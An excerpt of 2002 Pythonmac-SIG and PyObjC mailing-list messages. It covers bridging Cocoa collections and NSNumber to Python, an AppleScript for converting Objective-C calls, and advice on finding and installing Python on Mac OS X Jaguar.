Python 2.2 (#1, 07/14/02, 23:25:09)
[GCC Apple cpp-precomp 6.14] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>> from Foundation import *
 >>> a = NSMutableArray.array()
 >>> d = NSMutableDictionary.dictionary()
 >>> a.addObject_("a")
 >>> a[0]
'a'
 >>> d['foo'] = 'bar'
 >>> d['baz'] = 'bob'
 >>> d.keys()
['baz', 'foo']
 >>> d.description()
'{baz = bob; foo = bar; }'
 >>> d.objectForKey_('baz')
'bob'
 >>> d['baz']
'bob'

Already in there -- just not quite complete.

> Does pyobjc do garbage collection?  I'd imagine that you could have 
> the __init__ for anything to a retain and the __del__ for anything do 
> a release without getting in the way..

Generally, you don't have to think about it (at least I haven't been 
and my apps aren't crashing -- they may be leaking like a sieve, though 
:-).  An assignment implies a -retain and destruction of the reference 
implies a -release.

It isn't all there yet, but I think we are fairly far down the correct 
path -- certainly far enough to write full featured apps with a minimum 
of pain.

BTW:  I also added this utility function to Foundation:

propertyListFromPythonCollection()

Which does this (in one of the examples in the pyobjc source):

Converting (Python Collection):
{'a': [1, 2, 3, 4],
  'b': 'c',
  'd': 3,
  'e': None,
  'f': [1, {'a': 'b', 2: 3}, [3, 4]],
  'g': {'h': 'i'},
  'j': (1, 2, 3, 'k', 'l')}


Converted (ObjC collection):
{
     a = (1, 2, 3, 4);
     b = c;
     d = 3;
     e = <null>;
     f = (1, {a = b; 2 = 3; }, (3, 4));
     g = {h = i; };
     j = (1, 2, 3, k, l);
}

b.bum



From Jack.Jansen@oratrix.com  Thu Oct 17 21:06:35 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 17 Oct 2002 22:06:35 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <E4E5C167-E1EC-11D6-A593-000393877AE4@codefab.com>
Message-ID: <F069C6B8-E20B-11D6-BE1A-003065517236@oratrix.com>

On donderdag, oktober 17, 2002, at 06:24 , Bill Bumgarner wrote:
> Convenience wrappers are in the works.  Instead of wrapping, we 
> are thinking of simply providing a subclass of NSDictionary and 
> NSArray that can encapsulate DictType and Array/TupleTypes 
> respectively.   That way, Python arrays and dicts will behave 
> like normal NSArray / NSDictionary instances on the ObjC side 
> of the bridge.   (The other direction has already been bridged).

I think we should again combine forces here. At the moment we 
have two bridges that make the NS-objects or the CoreFoundation 
alter-ego's available to Python, and half a bridge the other way.

The Carbon.CF module (a misnomer, it isn't Carbon-dependent, 
that'll be fixed) exports most of CoreFoundation's objects to 
Python, but at the moment it isn't complete in that you can't 
say obj[12] if obj as a CFArray, i.e. it just exports method 
calls. It does have a nifty toCF() method that takes any 
supported Python object (a recursive combination of 
dict/list/string/scalar/CFObject) and returns its CF equivalent, 
and each CFObject has a toPython() method that does the reverse. 
And due to the way Carbon.CF works you hardly ever have to call 
toCF(), usually if a conversion from a Python object is needed 
it is done automatically.

Most of this module is automatically generated, so as Apple 
comes up with more CF objects, or these objects grow new 
methods, that'll be automatically incorporated.

And in PyObjC we have support for using NS objects in a way that 
is natural to Python, i.e. you can say obj[12] here. But when I 
last looked PyObjC didn't handle all object types, and handled 
some in a slightly funny way (strings, scalars). Note that 
"slightly funny" is meant derogatory here, doing automatic 
conversion for these types is often a good idea, but may come 
back to haunt us now that unicode is more important, and now 
that a Python program may have obtained a CFString object from 
another source.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From oussoren@cistron.nl  Thu Oct 17 21:18:28 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Thu, 17 Oct 2002 22:18:28 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <5BB37E44-E1FE-11D6-A593-000393877AE4@codefab.com>
Message-ID: <990ED2A8-E20D-11D6-98BF-0003931CFE24@cistron.nl>

On Thursday, Oct 17, 2002, at 20:29 Europe/Amsterdam, Bill Bumgarner 
wrote:

> On Thursday, October 17, 2002, at 02:01 PM, Bob Ippolito wrote:
>> IMHO there should also be easy to use wrappers for NSNumber and 
>> NSData.. I use those on a pretty regular basis for stuff that needs 
>> to get serialized for DO or plists.
I'd prefer not to special case Objective-C classes in the extension 
module. We currently do so for NSString and NSNumber, and I'd prefer to 
not add other exceptions.

>
> Wrapping NSNumber and NSData is definitely on the radar, but there is 
> some subtlety in how they need to be wrapped.   I totally agree that 
> they should be wrapped in some fashion.
>
> On the ObjC->Python front, do you mean:
>
> [bumbox:~] bbum% python
> Python 2.2 (#1, 07/14/02, 23:25:09)
> [GCC Apple cpp-precomp 6.14] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> >>> from Foundation import *
> >>> a = NSMutableArray.array()
> >>> d = NSMutableDictionary.dictionary()
> >>> a.addObject_("a")
> >>> a[0]
> 'a'
> >>> d['foo'] = 'bar'
> >>> d['baz'] = 'bob'
> >>> d.keys()
> ['baz', 'foo']
> >>> d.description()
> '{baz = bob; foo = bar; }'
> >>> d.objectForKey_('baz')
> 'bob'
> >>> d['baz']
> 'bob'
>
> Already in there -- just not quite complete.

The current mechanism is a bit of a hack: the 'objc' module maintains a 
list of methods that are added if a selector is present in the 
objective-C class (e.g. if the class has 'objectForKey:' add an 
__getitem__ method that calls objectForKey_). This should work for most 
collection classes.

>
>> Does pyobjc do garbage collection?  I'd imagine that you could have 
>> the __init__ for anything to a retain and the __del__ for anything do 
>> a release without getting in the way..

Pyobjc tries very hard to maintain correct retainCounts on the 
Objective-C object. In general it should not be necessary to think 
about this.

Please tell the list if you do have to call 'retain' or 'release', upto 
now I've been able to find a generic solution for every instance where 
I had to take care of retainCounts in Python code.

Ronald



From oussoren@cistron.nl  Thu Oct 17 21:29:38 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Thu, 17 Oct 2002 22:29:38 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <F069C6B8-E20B-11D6-BE1A-003065517236@oratrix.com>
Message-ID: <289DA7E6-E20F-11D6-98BF-0003931CFE24@cistron.nl>

On Thursday, Oct 17, 2002, at 22:06 Europe/Amsterdam, Jack Jansen wrote:

>
> On donderdag, oktober 17, 2002, at 06:24 , Bill Bumgarner wrote:
>> Convenience wrappers are in the works.  Instead of wrapping, we are 
>> thinking of simply providing a subclass of NSDictionary and NSArray 
>> that can encapsulate DictType and Array/TupleTypes respectively.
The (Objective-C) class 'OC_PythonObject' already exposes the Python 
C-API to Objective-C. It would be easy to make the interface for 
collections more like the Foundation interfaces.

There is one thing that we should keep in mind: the documentation for 
Foundation mentions that most NS<Collection> classes are binary 
compatible with CF<Collection> types (Apple uses a fancy term like 
'zero-cost bridging', they mean you can cast an NS<Collection>* to a 
CF<Collection>* and back).

I've thought about adding a mechanism that automaticly converts 
Carbon.CF.CF<Collection> instances to Objective-C objects. This is 
pretty ease, but I do not have time to do this at the moment.

>> That way, Python arrays and dicts will behave like normal NSArray / 
>> NSDictionary instances on the ObjC side of the bridge.   (The other 
>> direction has already been bridged).
>
> I think we should again combine forces here.
<nod>

> At the moment we have two bridges that make the NS-objects or the 
> CoreFoundation alter-ego's available to Python, and half a bridge the 
> other way.

>
> The Carbon.CF module (a misnomer, it isn't Carbon-dependent, that'll 
> be fixed) exports most of CoreFoundation's objects to Python, but at 
> the moment it isn't complete in that you can't say obj[12] if obj as a 
> CFArray, i.e. it just exports method calls. It does have a nifty 
> toCF() method that takes any supported Python object (a recursive 
> combination of dict/list/string/scalar/CFObject) and returns its CF 
> equivalent, and each CFObject has a toPython() method that does the 
> reverse. And due to the way Carbon.CF works you hardly ever have to 
> call toCF(), usually if a conversion from a Python object is needed it 
> is done automatically.
Given the equivalence of lots of NS<X> classes with CF<X> types the 
toCF() function could easily be used to implement a toObjC() function.

>
> And in PyObjC we have support for using NS objects in a way that is 
> natural to Python, i.e. you can say obj[12] here. But when I last 
> looked PyObjC didn't handle all object types, and handled some in a 
> slightly funny way (strings, scalars). Note that "slightly funny" is 
> meant derogatory here, doing automatic conversion for these types is 
> often a good idea, but may come back to haunt us now that unicode is 
> more important, and now that a Python program may have obtained a 
> CFString object from another source.

The funny conversions grew up since the last time you looked at them: 
Unicode is handled correctly (I added this when I wanted to process 
keyboard events for function keys, those are unicode characters without 
an ASCII equivalent).

Ronald



From bbum@codefab.com  Thu Oct 17 21:42:35 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Thu, 17 Oct 2002 16:42:35 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <990ED2A8-E20D-11D6-98BF-0003931CFE24@cistron.nl>
Message-ID: <F7A3DD6B-E210-11D6-A593-000393877AE4@codefab.com>

On Thursday, October 17, 2002, at 04:18 PM, Ronald Oussoren wrote:
> On Thursday, Oct 17, 2002, at 20:29 Europe/Amsterdam, Bill Bumgarner 
> wrote:
>> On Thursday, October 17, 2002, at 02:01 PM, Bob Ippolito wrote:
>>> IMHO there should also be easy to use wrappers for NSNumber and 
>>> NSData.. I use those on a pretty regular basis for stuff that needs 
>>> to get serialized for DO or plists.
> I'd prefer not to special case Objective-C classes in the extension 
> module. We currently do so for NSString and NSNumber, and I'd prefer 
> to not add other exceptions.

NSNumber is definitely bridged from Python -> ObjC, but not the other 
way around (this is what caused me to say that NSNumber wasn't bridged)?

 >>> x = NSArray.arrayWithObject_(1)
 >>> x[0]
<NSCFNumber objective-c instance 0xc1d0e0>
 >>> x.objectAtIndex_(0)
<NSCFNumber objective-c instance 0xc1d0e0>

I'm not implying that I think the above behavior is incorrect -- I'm 
not really sure if I think it is or not.... In the following, it would 
seem that bridging would be the right thing to do:

 >>> a = NSMutableArray.array()
 >>> a.addObject_(1)
 >>> a.addObject_(1)
 >>> a[0]
<NSCFNumber objective-c instance 0xca1510>
 >>> a[1]
<NSCFNumber objective-c instance 0xc905b0>
 >>> a[0] == a[1]
0
 >>> a[0].isEqual_(a[1])
1

But not always -- if the developer were to ever run into a case where 
the (id) of a[0] and a[1] are significant, the transparent bridging of 
the NSNumber->Python(int/float/long) would force the developer to go to 
ObjC for something that is likely trivial to implement.

I remember running into this issue in the Java Bridge (and in the 
Tcl<->ObjC bridge I wrote in 1990/1991/1992).

With all that said, I don't see any reason why NSNumber should not 
provide implementations for at least __eq__ and __ne__ -- and maybe 
even the full set??

__lt__(a, b)
__le__(a, b)
__eq__(a, b)
__ne__(a, b)
__ge__(a, b)
__gt__(a, b)

In any case, bridging types where the type is copied should generally 
be avoided.  It can make it impossible to deal with certain situations 
where the address of the object is meaningful, but the contents are 
not.  It can also lead to some serious inefficiency if a trip across 
the bridge implies a copy each time.

.... response continued below ....

> The current mechanism is a bit of a hack: the 'objc' module maintains 
> a list of methods that are added if a selector is present in the 
> objective-C class (e.g. if the class has 'objectForKey:' add an 
> __getitem__ method that calls objectForKey_). This should work for 
> most collection classes.

This is actually a really good solution in that it greatly automates 
the bridging process and should work transparently with the 'no cost' 
bridged CFTypes.

Anything that makes a copy of data as it is passed across the bridge 
should generally be avoided -- strings are about the only exception.

Unlike the Java bridge, we have the distinct advantage of working with 
two relatively light weight, highly dynamic, languages on either side.  
Java really wants to be a closed box -- it really wants to tightly 
control everything passed into it and, as such, the bridge often had to 
copy and recreated data as it passed across (i.e. there was no way to 
wrap an NSMutableArray instance such that it was a subclass of Vector 
in any kind of an effective fashion).

Python's embedding API provides for a heck of a lot more informal 
flexibility...

b.bum



From delza@blastradius.com  Thu Oct 17 21:57:31 2002
From: delza@blastradius.com (Dethe Elza)
Date: Thu, 17 Oct 2002 13:57:31 -0700
Subject: [Pythonmac-SIG] Compiler required?
Message-ID: <0D97F3E2-E213-11D6-A9FD-0003939B59E8@blastradius.com>

Hi folks,

Is CodeWarrior still a requirement for PythonMac (as opposed to python 
unix in OS X)?  I know there's been ongoing work to unify the three 
pythons for OS X (PythonMac, PythonMachO, Python Unix), which I haven't 
been following closely, but will part of that unification allow Python 
to be built using the standard OS X development tools?

--Dethe



From oussoren@cistron.nl  Thu Oct 17 22:05:39 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Thu, 17 Oct 2002 23:05:39 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <F7A3DD6B-E210-11D6-A593-000393877AE4@codefab.com>
Message-ID: <306BAA26-E214-11D6-98BF-0003931CFE24@cistron.nl>

On Thursday, Oct 17, 2002, at 22:42 Europe/Amsterdam, Bill Bumgarner 
wrote:

>
> NSNumber is definitely bridged from Python -> ObjC, but not the other 
> way around (this is what caused me to say that NSNumber wasn't 
> bridged)?
>
> >>> x = NSArray.arrayWithObject_(1)
> >>> x[0]
> <NSCFNumber objective-c instance 0xc1d0e0>
> >>> x.objectAtIndex_(0)
> <NSCFNumber objective-c instance 0xc1d0e0>

Automaticly conversion in one direction is not very pretty. I prefer to 
add automatic conversion from NSNumber to a Python type (but I'll have 
to check if this is possible without loss of information).

>
> >>> a.addObject_(1)
> >>> a.addObject_(1)
> >>> a[0]
> <NSCFNumber objective-c instance 0xca1510>
> >>> a[1]
> <NSCFNumber objective-c instance 0xc905b0>
> >>> a[0] == a[1]
> 0
This is a bug. a[0] implements isEqual:, this means we should 
automaticly add '__eq__' to the python proxy.
>
> But not always -- if the developer were to ever run into a case where 
> the (id) of a[0] and a[1] are significant, the transparent bridging of 
> the NSNumber->Python(int/float/long) would force the developer to go 
> to ObjC for something that is likely trivial to implement.
This might already be a problem for strings. There is quite a large 
number of string constants in Cocoa, and I don't know if the identity 
('pointer value') of them is significant.

> With all that said, I don't see any reason why NSNumber should not 
> provide implementations for at least __eq__ and __ne__ -- and maybe 
> even the full set??
These should be added, maybe including '__int__' for transparent 
conversion to a Python integer if the object is passed to an extension 
module.
>
> In any case, bridging types where the type is copied should generally 
> be avoided.  It can make it impossible to deal with certain situations 
> where the address of the object is meaningful, but the contents are 
> not.
I agree.

> It can also lead to some serious inefficiency if a trip across the 
> bridge implies a copy each time.
With small values the copy is not that inefficient (the overhead of the 
interpreter is probably much more significant)

>
> .... response continued below ....
>
>> The current mechanism is a bit of a hack: the 'objc' module maintains 
>> a list of methods that are added if a selector is present in the 
>> objective-C class (e.g. if the class has 'objectForKey:' add an 
>> __getitem__ method that calls objectForKey_). This should work for 
>> most collection classes.
>
> This is actually a really good solution in that it greatly automates 
> the bridging process and should work transparently with the 'no cost' 
> bridged CFTypes.

I definitly do not want to get rid automaticly adding methods, but it 
might be possible to replace the current implementation with a more 
flexible solution.

As I mentioned before I do not want to add more automatic conversions 
because:
1. The identity of objects may be significant
2. Conversion might be inefficient (especially for collections)
3. The Objective-C objects often have a larger interface than their 
Python counterparts, automatic conversion would make it impossible to 
use the additional functionality.

Ronald



From Jack.Jansen@cwi.nl  Fri Oct 18 10:08:07 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 18 Oct 2002 11:08:07 +0200
Subject: [Pythonmac-SIG] Compiler required?
In-Reply-To: <0D97F3E2-E213-11D6-A9FD-0003939B59E8@blastradius.com>
Message-ID: <1E2BF034-E279-11D6-89ED-0030655234CE@cwi.nl>

On Thursday, October 17, 2002, at 10:57 , Dethe Elza wrote:
> Is CodeWarrior still a requirement for PythonMac (as opposed to python 
> unix in OS X)?  I know there's been ongoing work to unify the three 
> pythons for OS X (PythonMac, PythonMachO, Python Unix), which I haven't 
> been following closely, but will part of that unification allow Python 
> to be built using the standard OS X development tools?

For MacPython 2.2 and it's successor MacPython-OS9 2.3 (i.e. the python 
that can run on both OS9 and OSX) CodeWarrior is a requirement for the 
simple reason that it's the only compiler that can generate CFM code, 
and CFM code is a requirement when you want to run on OS9.

But if you're not interested in OS9 then there's no reason not to switch 
to the unix tools.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Jack.Jansen@cwi.nl  Fri Oct 18 10:15:34 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 18 Oct 2002 11:15:34 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <F7A3DD6B-E210-11D6-A593-000393877AE4@codefab.com>
Message-ID: <289F4689-E27A-11D6-89ED-0030655234CE@cwi.nl>

On Thursday, October 17, 2002, at 10:42 , Bill Bumgarner wrote:
>> The current mechanism is a bit of a hack: the 'objc' module maintains 
>> a list of methods that are added if a selector is present in the 
>> objective-C class (e.g. if the class has 'objectForKey:' add an 
>> __getitem__ method that calls objectForKey_). This should work for 
>> most collection classes.
>
> This is actually a really good solution in that it greatly automates 
> the bridging process and should work transparently with the 'no cost' 
> bridged CFTypes.
>
> Anything that makes a copy of data as it is passed across the bridge 
> should generally be avoided -- strings are about the only exception.

Now that I think about it: why should strings be an exception? Could we 
not create an NSString subclass (along the same lines as your ideas on 
dictionaries and lists) that will wrap either a Python string or a 
Python unicode object? Actually, two wrappers (one for strings, one for 
unicode) may be easier, there's a lot of code that's going to be 
different depending on whether the underlying object is a string or 
unicode.
Hmm, actually we may want a whole family of wrappers so we can use 
Python strings to represent the whole string/data/url group.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From walt@algarvistas.net  Fri Oct 18 12:16:05 2002
From: walt@algarvistas.net (Walt Ludwick)
Date: Fri, 18 Oct 2002 12:16:05 +0100
Subject: [Pythonmac-SIG] Python in Jaguar is where?
Message-ID: <FE915BDD-E28A-11D6-9594-003065F9C782@algarvistas.net>

Sorry to open with such a dumb question, having just subscribed to this 
list, but i've just upgraded my Mac to OS 10.2 ("archive install" 
method), and cannot see any sign of Python in the current system - tho 
i gather it's supposed to be there.  Right?  If so, then where?  Surely 
it should appear somewhere other than in the archive, but if so, i 
can't find it, tho did try a few things, as follows:

  In the /Library directory, i see other scripting languages (Perl, PHP, 
Tcl, etc.), but no Python.  So i did a filename search on the localhost 
for "Python", and found in the archived "Previous System" - in the path 
of  /Library/Frameworks/Python.framework - what appears to be the 
version 2.2 installation of Python.  Interestingly, that seems to be 
the only framework that got archived;  checking the "Frameworks" 
library on the current system, i see many other frameworks... so how 
come the Jaguar installer chose just this Python framework to pull out 
and archive?  If anyone has insight to share, i'd be much obliged.

One other thing that i doubt is relevant, but who knows:  I have Zope 
2.5.0 installed in my Applications folder - which of course contains 
its own Python library - which is always the first app i launch on 
startup and the last one i quit before shutdown (Zope nut that i am - 
tho i've never touched a line of Python code, i figure now is the time 
to start).  So maybe the Jaguar installer saw Zope's Python library and 
decided to archive the one that ships w/ the new OS? Sounds pretty 
implausible to me, but as i have no other theory of cause at this 
point, i'm open to considering anything.  Thanks for your attention to 
this.

|/|/alt 



From oussoren@cistron.nl  Fri Oct 18 14:40:14 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Fri, 18 Oct 2002 15:40:14 +0200
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <FE915BDD-E28A-11D6-9594-003065F9C782@algarvistas.net>
Message-ID: <21AB9024-E29F-11D6-98BF-0003931CFE24@cistron.nl>

There should be a python interpreter installed as /usr/bin/python. The 
Python 2.2 framework you found is a version you probably installed 
while the system was still MacOS X 10.1.

Ronald



From walt@algarvistas.net  Fri Oct 18 16:12:33 2002
From: walt@algarvistas.net (Walt Ludwick)
Date: Fri, 18 Oct 2002 16:12:33 +0100
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <21AB9024-E29F-11D6-98BF-0003931CFE24@cistron.nl>
Message-ID: <0716149D-E2AC-11D6-9594-003065F9C782@algarvistas.net>

On Friday, October 18, 2002, at 02:40 PM, Ronald Oussoren wrote:

> There should be a python interpreter installed as /usr/bin/python. The 
> Python 2.2 framework you found is a version you probably installed 
> while the system was still MacOS X 10.1.
>
> Ronald

Now that you mention it, Ronald, it is true:  some months ago (under 
MacOS 10.1.5), i did try to install MachoPython - along with some other 
Python-card related stuff (WX Windows, etc.), tho i never got it 
running - and that might account for the existence of this Python 2.2 
framework in the archive.

But (now i feel really stupid confessing this, but still...), in the 
current System folder, i cannot see any /usr/bin/python path at all.  
Besides some "kext installer folder" which appears empty, the only 
subfolder that i see in the current system is "/Library" - which as i 
said contains libraries for Perl, PHP, Tcl, etc., but nothing for 
Python.

I'm beginning to think that my view of the system - even tho i have 
system admin privs, obviously - is somehow constrained, such that this 
/usr/bin/python path is hidden from my view.  Does this mean i have to 
do some sort of unixy black magic (e.g. sudo, etc.) to somehow extract 
the admin account codes, i wonder?  I have heard of such things, but 
must confess that i am afraid of what i might do to my (mission 
critical!) system via the command-line.

I guess the real issue is this:  i want to dip my toe into the waters 
of Python programming, and i'm looking for the easiest way to go about 
it.  If the means exist in my new Jaguar install, i guess i should 
explore that first;  if not, then i'll happily download and install the 
correct environment (which people tell me is either Mac Python or Macho 
Python, depending [on what, i'm not exactly sure]).  So i guess the 
question i face is this:  what would be the Python IDE available for 
Mac OS X that is most accessible for non-programmers to learn?  Is it 
something i've already got (e.g. this Project Builder app in Jaguar's 
Developer tools, perhaps?), or something i've yet to install?  If the 
latter, then how should i do that - given the existing Python libraries 
in my Zope application, in Jaguar (tho i've yet to find it, i presume 
it's there), and this one in the archive (which i guess i should just 
blow away)?  As i explore this line of inquiry, any advice would be 
most appreciated.  Thanks again,

|/|/alt



From mjb@uma.pt  Fri Oct 18 16:09:33 2002
From: mjb@uma.pt (Michael J. Barber)
Date: Fri, 18 Oct 2002 16:09:33 +0100
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <75483907-E11B-11D6-BC55-0030655234CE@cwi.nl>
Message-ID: <9BA24584-E2AB-11D6-8F2F-0050E4794D0F@uma.pt>

On Wednesday, October 16, 2002, at 04:25  PM, Jack Jansen wrote:

> Something else that might be worthwhile is a helper command that 
> translates ObjC calls to Python. You would then copy [obj setObject: 
> value forKey: key], paste it in your Python script (where it will stay 
> selected) and select the "ObjC methodcall to Python" command to turn it 
> into obj.setObjectForKey(value, key). The only question is how we could 
> get this into Project Builder (into the Python IDE would be easy).

Sounds like a nice thing to do as a service or as a script. Getting it 
into Project Builder is then automatic.

Since I don't know how to write a service, I wrote a basic AppleScript 
for that. And I do mean basic: testing was minimal, nested method calls 
aren't handled correctly, and string arguments containing ":" will cause 
big problems. But, it's a starting point which someone might find 
useful, and doing it correctly would basically require a mini-parser for 
Objective-C, which there's no way I'm going to write in AppleScript! ;) 
Might be quite nice done in Python using Plex, though.

If anyone is interested in using it, copy the Objective C method call 
you want to convert, then run this script. The text will be converted to 
a Pythonic method call on the clipboard, which you can paste as usual. 
Be careful of spurious line breaks in the script when you first save it.

Here it is:

on run
	-- get an Objective C message from the clipboard
	set objcText to the clipboard
	if objcText starts with "[" and objcText ends with "]" then
		set objcText to items 2 through -2 of objcText as string
	end if
	
	set the tokens to split of the objcText at ":"
	set objectName to the first word of the first item of the tokens
	set methodName to {second word of the first item of the tokens}
	set methodArgs to {}
	
	repeat with tok in items 2 through -2 of tokens
		set namePiece to the last word of the tok
		copy namePiece to the end of the methodName
		copy (items 1 through -(1 + (length of namePiece)) of tok as 
string) to the end of methodArgs
	end repeat
	
	copy last item of tokens to the end of methodArgs
	
	--return {tokens, objectName, methodName, methodArgs}
	set the clipboard to objectName & "." & (join of methodName 
by "_") & "(" & (join of methodArgs by ",") & ")"
end run

on split of str at delim
	set oldTIDs to the text item delimiters of AppleScript
	set the text item delimiters of AppleScript to delim
	set tokens to the text items of the str
	set the text item delimiters of AppleScript to oldTIDs
	return the tokens
end split

on join of tokens by delim
	set oldTIDs to the text item delimiters of AppleScript
	set the text item delimiters of AppleScript to delim
	set str to the tokens as string
	set the text item delimiters of AppleScript to oldTIDs
	return the str
end join



From mwh@python.net  Fri Oct 18 16:26:41 2002
From: mwh@python.net (Michael Hudson)
Date: 18 Oct 2002 16:26:41 +0100
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: Walt Ludwick's message of "Fri, 18 Oct 2002 16:12:33 +0100"
References: <0716149D-E2AC-11D6-9594-003065F9C782@algarvistas.net>
Message-ID: <2m3cr34vke.fsf@starship.python.net>

Walt Ludwick <walt@algarvistas.net> writes:

> But (now i feel really stupid confessing this, but still...), in the 
> current System folder, i cannot see any /usr/bin/python path at all.  
> Besides some "kext installer folder" which appears empty, the only 
> subfolder that i see in the current system is "/Library" - which as i 
> said contains libraries for Perl, PHP, Tcl, etc., but nothing for 
> Python.

As shipped by Apple, python is very much part of the unix personality
of Jaguar.  So fire up Terminal.app and type "python".  You don't need
root privileges for this.

There are ways of getting a more GUI experience, but I'm not really
the person to give the best advice in this area.

Cheers,
M.

-- 
  One of the great skills in using any language is knowing what not
  to use, what not to say.  ... There's that simplicity thing again.
                                                       -- Ron Jeffries


From owen@astro.washington.edu  Fri Oct 18 16:57:18 2002
From: owen@astro.washington.edu (Russell E Owen)
Date: Fri, 18 Oct 2002 08:57:18 -0700
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <20021018152701.13184.7478.Mailman@mail.python.org>
References: <20021018152701.13184.7478.Mailman@mail.python.org>
Message-ID: <p05200d06b9d5dcd8e2ed@[128.95.99.44]>

>Sorry to open with such a dumb question, having just subscribed to 
>this list, but i've just upgraded my Mac to OS 10.2 ("archive 
>install" method), and cannot see any sign of Python in the current 
>system - tho i gather it's supposed to be there.  Right?  If so, 
>then where?  Surely it should appear somewhere other than in the 
>archive, but if so, i can't find it...

Jaguar's built-in python is in /usr/bin/python and is in the default 
search path. Thus, using Terminal window for this:
% ls -l /usr/bin/python
-rwxr-xr-x  1 root  wheel  784920 Sep 18 15:07 /usr/bin/python
% python
Python...

You talk about looking for it in /Library, but that's barking up the 
wrong directory tree. Note that the /usr/... files cannot be seen 
from Finder (at least by default), only from the unix prompt.

You may want to install your own version of Python. The one provided 
by Apple has several problems:
- No readlines support. Thus you cannot up-arrow to previous commands 
or edit previous commands with left/right arrow. Personally, I find 
this pretty unbearable.
- No Tkinter support, thus no GUI stuff. Depending on what you want 
to do, you may or may not care.

To install your own python (thus working around these issues) you 
have several choices, including:
- Build it from scratch. At the moment this is the only way I know to 
get a working python 2.2.1 in Jaguar. One set of instructions are at 
<http://www.astro.washington.edu/owen> (my site). There are a things 
you have to twiddle that should not be required for future versions 
of Python (2.2.2, 2.3, etc.).

These instructions include building a Tkinter that requires xfree86 
or some similar X server (though it should be obvious what to leave 
out if you don't want Tkinter). It's also possible to build a 
framework version that works with the aqua version of Tcl/Tk, but I 
don't yet know how to do it.
- Wait for the fink version to be compatible with Jaguar

-- Russell


From bbum@codefab.com  Fri Oct 18 17:34:09 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Fri, 18 Oct 2002 12:34:09 -0400
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <20021018160004.9360.98813.Mailman@mail.python.org>
Message-ID: <6D075442-E2B7-11D6-A593-000393877AE4@codefab.com>

Some more info...

On Friday, October 18, 2002, at 12:00 PM, 
pythonmac-sig-request@python.org wrote:
> You may want to install your own version of Python. The one provided
> by Apple has several problems:
> - No readlines support. Thus you cannot up-arrow to previous commands
> or edit previous commands with left/right arrow. Personally, I find
> this pretty unbearable.

Easy to fix (make sure you install the August dev tools patch first):

     http://www.versiontracker.com/moreinfo.fcgi?id=16348&db=mac

And, to add SSL support to the socket module:

     http://www.versiontracker.com/moreinfo.fcgi?id=16585&db=mac

> - No Tkinter support, thus no GUI stuff. Depending on what you want
> to do, you may or may not care.
>
> To install your own python (thus working around these issues) you
> have several choices, including:
.... instructions deleted...
>
> - Wait for the fink version to be compatible with Jaguar

The Fink version works just fine on Jaguar and has for quite some time. 
  I had been using it up until recently (I switched to the OS X 
installed version of Jaguar because I need to ship standalone apps that 
use PyObjC and, as such, didn't want to risk an unnecessary dependency 
on the Fink install -- with the readline and ssl support, the Apple 
installed Python fits my needs because I use Python/Cocoa to do the GUI 
development).

To update an existing Fink installation to 10.2:

     http://fink.sourceforge.net/news/jaguar.php

To do a fresh install of Fink on Jaguar:

     http://fink.sourceforge.net/news/jag-bootstrap.php

Personally, I rm -rf'd /sw and did a fresh install (mostly to remove a 
bunch of cruft I never use).

Via Fink, you can install XFree86, Python, Tk, Gnome, KDE, Gimp, and 
whatever other bits o' X-y / Linux-y goodness your heart desires via a 
few simple commands... almost everything has made its way to Jaguar and 
the project has been updating the rest quite rapidly.

Note that building Python + XFree + Tk + Gnome or KDE from source takes 
quite a long time.  I'd suggest issuing the 'fink install' before you 
go to sleep and let the computer chug overnight...

b.bum



From kp87@lycos.com  Fri Oct 18 17:52:15 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 18 Oct 2002 12:52:15 -0400
Subject: [Pythonmac-SIG] making invisibles seen in "finder"
Message-ID: <OOPCBBAKMDIFBBAA@mailcity.com>

>Note that the /usr/... files cannot be seen
>from Finder (at least by default), only from the unix prompt.

Sorry for the non-python question here, but i wonder, on NeXTStep you could click a little button to turn on what i think they called "advanced" views or something so that you could see all your files, even invisible ones, in the finder.
Is there a way to switch this on on OS X? I can't find it anywhere.... I ask as it was brought up here.

perhaps on off list reply would minimize list member irritation! 

Sorry,

kevin (who always hated the word "finder" and thinks it is even more rediculous to call it that on OS X! Us NeXTies call it the Browser, which is only a smidge better!)




____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From walt@algarvistas.net  Fri Oct 18 17:56:46 2002
From: walt@algarvistas.net (Walt Ludwick)
Date: Fri, 18 Oct 2002 17:56:46 +0100
